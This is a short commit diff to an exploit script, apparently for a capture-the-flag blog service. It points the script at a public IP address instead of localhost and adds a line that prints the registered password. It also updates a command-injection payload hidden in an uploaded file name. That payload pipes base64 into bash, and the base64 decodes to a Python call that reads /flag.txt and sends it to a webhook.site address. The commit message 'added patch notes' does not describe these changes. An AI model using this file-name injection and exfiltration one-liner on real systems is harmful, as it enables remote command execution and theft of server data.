added patch notes

services/blogpost/exploits/exp1.py

@@ -4,7 +4,7 @@ from pathlib import Path
 import random
 import string
 
-HOST = "http://localhost:4400"
+HOST = "http://54.179.69.160:10000"
 REGISTER_URL = HOST + "/register"
 LOGIN_URL = HOST + "/login"
 CREATE_URL = HOST + "/create"
@@ -19,7 +19,7 @@ def generate_random_string(length=8):
 USERNAME = generate_random_string()
 PASSWORD = generate_random_string()
 # choose payload variant: either use subshell $() or backticks `...`
-filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hMmJlOTU2NS0zZGZhLTRjZmEtODAyYy01NDk4NTI5ZTViMGYnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg"
+filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hNDM1ZDdhZS02ZDIzLTQwY2ItYTllNy00ZjgwMzk2YzYwNWMnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg"
 
 # choose which to use:
 filename_payload = filename_payload  # or payload_backticks
@@ -33,6 +33,7 @@ if r.status_code != 200:
     exit(1)
 else:
     print(f"Registered user: {USERNAME}")
+    print(f"Registered PASSWORD: {PASSWORD}")
 
 r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
 if r.status_code != 200: